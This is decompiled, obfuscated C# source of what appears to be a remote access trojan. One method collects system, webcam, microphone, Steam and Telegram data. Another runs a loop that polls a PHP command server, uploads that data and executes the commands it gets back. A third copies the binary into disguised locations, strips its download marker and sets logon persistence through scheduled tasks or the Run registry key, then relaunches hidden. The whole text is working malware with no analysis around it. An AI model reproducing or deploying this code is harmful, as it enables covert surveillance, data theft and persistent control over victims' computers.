internal void _0001()
{
//Discarded unreachable code: IL_0002
//IL_0003: Incompatible stack heights: 0 vs 1
ManageFilter("sysinfo", new DecoratorReaderMapper
{
["GPUName"] = ParserFilterResolver._0001(GlobalIssuerImporter.SelectList()),
["CPUName"] = ParserFilterResolver._0001(GlobalIssuerImporter.StartList()),
["BIOS"] = ParserFilterResolver._0001(GlobalIssuerImporter.CalculateList()),
["LANIP"] = ParserFilterResolver._0001(GlobalIssuerImporter.DeleteList()),
["Antivirus"] = ParserFilterResolver._0001(GlobalIssuerImporter.PostList()),
["Firewall"] = ParserFilterResolver._0001(GlobalIssuerImporter.ChangeList()),
["Motherboard"] = ParserFilterResolver._0001(GlobalIssuerImporter.GetList()),
["RAM"] = ParserFilterResolver._0001(GlobalIssuerImporter.ListList()),
["Webcams"] = ParserFilterResolver._0001(DatabaseTestItem.AwakeEvent()),
["Screens"] = ParserFilterResolver._0001(DatabaseTestItem.UpdateEvent()),
["Microphones"] = ParserFilterResolver._0001(DatabaseTestItem.ReadEvent()),
["SteamPath"] = ParserFilterResolver._0001(DatabaseTestItem.ResetEvent()),
["SteamLang"] = ParserFilterResolver._0001(DatabaseTestItem.ReflectEvent()),
["SteamUser"] = ParserFilterResolver._0001(DatabaseTestItem.CalcEvent()),
["SteamUserID"] = ParserFilterResolver._0001(DatabaseTestItem.InstantiateEvent()),
["TelegramPath"] = ParserFilterResolver._0001(DatabaseTestItem.InterruptEvent()),
["FrameworkVersion"] = ParserFilterResolver._0001(GlobalIssuerImporter.RateList()),
["Path"] = ParserFilterResolver._0001(Path.GetDirectoryName(MappingListAnnotation.m_PolicyEvent))
}.SetClass((TimeState)0, new BroadcasterError[0]), this._0001, _0002);
}
private void PostFilter(object item, KeyPressEventArgs cfg)
{
//Discarded unreachable code: IL_0002
//IL_0003: Incompatible stack heights: 0 vs 1
if (_MethodEvent.Text.Length > 0 && cfg.KeyChar == '\r')
{
DispatcherInstanceExpression.CollectFilter("chat", "\r\n[" + GlobalIssuerImporter.RemoveList() + "]: " + _MethodEvent.Text, MappingListAnnotation.m_CandidateEvent, MappingListAnnotation.m_TokenizerEvent);
_MethodEvent.Clear();
}
}
public static void CallFilter(string asset, string selection)
{
//Discarded unreachable code: IL_0002
//IL_0003: Incompatible stack heights: 0 vs 1
new Thread((ThreadStart) delegate
{
//Discarded unreachable code: IL_0002
//IL_0003: Incompatible stack heights: 0 vs 1
SortFilter(asset, selection);
DecoratorReaderMapper decoratorReaderMapper = new DecoratorReaderMapper
{
["ServerType"] = ParserFilterResolver._0001("C#"),
["ServerVer"] = ParserFilterResolver._0001(MappingListAnnotation._RegistryEvent),
["isMicrophone"] = ParserFilterResolver._0001((DecoratorList._0001() > 0) ? "Y" : "N"),
["isWebcam"] = ParserFilterResolver._0001((new AccountInstanceExpression(WrapperIssuerImporter.serializerEvent).Count > 0) ? "Y" : "N"),
["isAdmin"] = ParserFilterResolver._0001(GlobalIssuerImporter.DestroyList() ? "Y" : "N"),
["WinVer"] = ParserFilterResolver._0001(ObserverEvent.VerifyList()),
["ACTWindow"] = ParserFilterResolver._0001(Publisher.InitEvent()),
["PCName"] = ParserFilterResolver._0001(GlobalIssuerImporter.SetList()),
["UserName"] = ParserFilterResolver._0001(GlobalIssuerImporter.RemoveList()),
["TAG"] = ParserFilterResolver._0001(DecoratorReaderMapper.PatchRequest(MappingListAnnotation.m_ServiceEvent)["TAG"].ResetClass <string>()),
["IpInfo"] = DecoratorReaderMapper.PatchRequest(ItemEventEntry.ConcatList("https://ipinfo.io/json"))
};
while (true)
{
try
{
decoratorReaderMapper["ACTWindow"] = ParserFilterResolver._0001(Publisher.InitEvent());
string text = ClassEvent.SearchFilter(DecoratorReaderMapper.PatchRequest(ItemEventEntry.ConcatList(asset + "/" + ClassEvent.ResetFilter(ClassEvent.RegisterFilter(asset)) + ".php?" + ClassEvent.ResetFilter(ItemEventEntry.InvokeList(asset) + "token") + "=" + Uri.EscapeDataString(ReponseClassSpec.WriteFilter(ClassEvent.RestartFilter(selection))) + "&" + ClassEvent.ResetFilter(ItemEventEntry.InvokeList(asset) + "token_uid") + "=" + Uri.EscapeDataString(ReponseClassSpec.WriteFilter(ClassEvent.RestartFilter(ClassEvent.RegisterFilter(MappingListAnnotation._ProxyEvent)))) + "&" + ClassEvent.ResetFilter(ItemEventEntry.InvokeList(asset) + "getdata_name") + "=" + Uri.EscapeDataString(ReponseClassSpec.WriteFilter(ClassEvent.RestartFilter(MappingListAnnotation._ProxyEvent))) + "&" + ClassEvent.ResetFilter(ItemEventEntry.InvokeList(asset) + "getdata_extension") + "=" + Uri.EscapeDataString(ReponseClassSpec.WriteFilter(ClassEvent.RestartFilter(ClassEvent.ResetFilter("command" + MappingListAnnotation._ProxyEvent)))) + "&" + ClassEvent.ResetFilter(ItemEventEntry.InvokeList(asset) + "setdata") + "=" + Uri.EscapeDataString(ReponseClassSpec.WriteFilter(ClassEvent.RestartFilter(decoratorReaderMapper.SetClass((TimeState)0, new BroadcasterError[0])))) + "&" + ClassEvent.ResetFilter(ItemEventEntry.InvokeList(asset) + "setdata_name") + "=" + Uri.EscapeDataString(ReponseClassSpec.WriteFilter(ClassEvent.RestartFilter(MappingListAnnotation._ProxyEvent))) + "&" + ClassEvent.ResetFilter(ItemEventEntry.InvokeList(asset) + "setdata_extension") + "=" + Uri.EscapeDataString(ReponseClassSpec.WriteFilter(ClassEvent.RestartFilter(ClassEvent.ResetFilter("usermaindata" + asset))))))["response"].ResetClass <string>());
if (text.Length > 1)
{
DecoratorReaderMapper decoratorReaderMapper2 = DecoratorReaderMapper.PatchRequest(text);
if (decoratorReaderMapper2.get_Count() > 0)
{
DecoratorEventEntry.PatchRecord(decoratorReaderMapper2["Command"].ResetClass <string>(), decoratorReaderMapper2["Data"].ResetClass <string>(), asset, selection);
}
}
Thread.Sleep(1000);
}
catch
{
Thread.Sleep(10000);
}
}
}).Start();
}
public static void InvokeFilter()
{
//Discarded unreachable code: IL_0002
//IL_0003: Incompatible stack heights: 0 vs 1
if (File.Exists(Path.GetDirectoryName(MappingListAnnotation.m_PolicyEvent) + "\\" + ClassEvent.RegisterFilter(Path.GetFileName(MappingListAnnotation.m_PolicyEvent))))
{
return;
}
string fileName = MappingListAnnotation.m_PolicyEvent;
int num = new RepositoryEvent().PopList(1, 2);
for (int i = 0; i < new RepositoryEvent().PopList(2, 10); i++)
{
string path = Path.Combine(Path.GetTempPath() + "\\" + ClassEvent.ResetFilter(GlobalIssuerImporter.SetList() + GlobalIssuerImporter.RemoveList()) + ".tmp");
switch (num)
{
case 1:
try
{
string processName2 = TestFilter().ProcessName;
string text = ConcatFilter("C:\\");
File.Copy(MappingListAnnotation.m_PolicyEvent, text + "\\" + processName2 + ".exe", overwrite: true);
File.WriteAllText(text + "\\" + ClassEvent.RegisterFilter(processName2 + ".exe"), ReponseClassSpec.PublishFilter(new RepositoryEvent().PopList(10, 100)));
Publisher.PrepareFilter(text + "\\" + processName2 + ".exe:Zone.Identifier");
File.AppendAllText(path, "<$>" + text + "\\" + processName2 + ".exe");
if (GlobalIssuerImporter.DestroyList())
{
ProcessStartInfo processStartInfo = new ProcessStartInfo("schtasks");
processStartInfo.Arguments = "/create /tn \"" + processName2 + "\" /sc ONLOGON /tr \"'" + text + "\\" + processName2 + ".exe'\" /rl HIGHEST /f";
processStartInfo.UseShellExecute = false;
processStartInfo.CreateNoWindow = true;
ProcessStartInfo startInfo2 = processStartInfo;
Process process3 = Process.Start(startInfo2);
process3.WaitForExit(1500);
if (process3.ExitCode != 0)
{
using (RegistryKey registryKey3 = RegistryKey.OpenBaseKey(RegistryHive.CurrentUser, RegistryView.Registry64).OpenSubKey("Software\\Microsoft\\Windows\\CurrentVersion\\Run", writable: true))
{
try
{
registryKey3.SetValue(processName2, "\"" + text + "\\" + processName2 + ".exe\"");
}
catch
{
}
}
}
}
else
{
using (RegistryKey registryKey4 = RegistryKey.OpenBaseKey(RegistryHive.CurrentUser, RegistryView.Registry64).OpenSubKey("Software\\Microsoft\\Windows\\CurrentVersion\\Run", writable: true))
{
try
{
registryKey4.SetValue(processName2, "\"" + text + "\\" + processName2 + ".exe\"");
}
catch
{
}
}
}
fileName = text + "\\" + processName2 + ".exe";
}
catch
{
i--;
}
break;
case 2:
try
{
Process process = TestFilter();
string processName = process.ProcessName;
string directoryName = Path.GetDirectoryName(Publisher.VerifyFilter(process));
string[] files = Directory.GetFiles(directoryName);
directoryName = Path.Combine(directoryName + "\\" + Path.GetFileNameWithoutExtension(files[new RepositoryEvent().MoveList(files.Length)]));
Directory.CreateDirectory(directoryName);
File.Copy(MappingListAnnotation.m_PolicyEvent, directoryName + "\\" + processName + ".exe", overwrite: true);
File.WriteAllText(directoryName + "\\" + ClassEvent.RegisterFilter(processName + ".exe"), ReponseClassSpec.PublishFilter(new RepositoryEvent().PopList(10, 100)));
Publisher.PrepareFilter(directoryName + "\\" + processName + ".exe:Zone.Identifier");
File.AppendAllText(path, "<$>" + directoryName + "\\" + processName + ".exe");
if (GlobalIssuerImporter.DestroyList())
{
ProcessStartInfo processStartInfo = new ProcessStartInfo("schtasks");
processStartInfo.Arguments = "/create /tn \"" + processName + "\" /sc ONLOGON /tr \"'" + directoryName + "\\" + processName + ".exe'\" /rl HIGHEST /f";
processStartInfo.UseShellExecute = false;
processStartInfo.CreateNoWindow = true;
ProcessStartInfo startInfo = processStartInfo;
Process process2 = Process.Start(startInfo);
process2.WaitForExit(1500);
if (process2.ExitCode != 0)
{
using (RegistryKey registryKey = RegistryKey.OpenBaseKey(RegistryHive.CurrentUser, RegistryView.Registry64).OpenSubKey("Software\\Microsoft\\Windows\\CurrentVersion\\Run", writable: true))
{
try
{
registryKey.SetValue(processName, "\"" + directoryName + "\\" + processName + ".exe\"");
}
catch
{
}
}
}
}
else
{
using (RegistryKey registryKey2 = RegistryKey.OpenBaseKey(RegistryHive.CurrentUser, RegistryView.Registry64).OpenSubKey("Software\\Microsoft\\Windows\\CurrentVersion\\Run", writable: true))
{
try
{
registryKey2.SetValue(processName, "\"" + directoryName + "\\" + processName + ".exe\"");
}
catch
{
}
}
}
fileName = directoryName + "\\" + processName + ".exe";
}
catch
{
i--;
}
break;
}
}
try
{
Process.Start(new ProcessStartInfo
{
WindowStyle = ProcessWindowStyle.Hidden,
CreateNoWindow = true,
UseShellExecute = false,
FileName = fileName
});
Environment.Exit(0);
Application.Exit();
}
catch
{
}
}
